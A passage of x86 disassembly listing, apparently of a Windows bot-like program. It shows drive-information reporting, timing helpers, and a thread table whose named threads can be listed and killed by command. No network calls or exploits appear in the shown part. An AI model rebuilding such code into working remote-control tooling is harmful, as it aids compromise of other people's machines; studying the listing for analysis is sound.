eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push [ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp+var_404] push eax push offset dword_418B64 lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: .data:00416A06p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E2A0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_41E2A0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E2A0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call dword_4170D0 ; GetTickCount sub eax, dword_41E2A0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: .data:004168C6p push ebp mov ebp, esp and dword_41E2C0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E2C8, eax push offset dword_41E2A8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C ; free pop ecx push [ebp+var_20] call dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DE08, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset dword_41DA80 call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_41DE00 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E2A8 call sub_409C6C pop ecx cmp dword_41E2C0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E2C0 inc eax mov dword_41E2C0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E2A8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2A8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E2A8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2C8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E2A8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2A8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call dword_4170E0 ; TerminateThread push [ebp+var_8] call dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E2A8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, dword_41E2C0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E2C0 dec eax mov dword_41E2C0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2C8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call dword_4170E0 ; TerminateThread push [ebp+var_19C] call dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E2A8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx cmp dword_41E2C0, 0 jz short loc_409B25 push 10h push dword_41E2C0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E2A8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E2A8 call sub_409C7A pop ecx push 3E8h call dword_41709C ; Sleep push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2C8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; sub_409AD5+104j push offset dword_41E2A8 call sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: 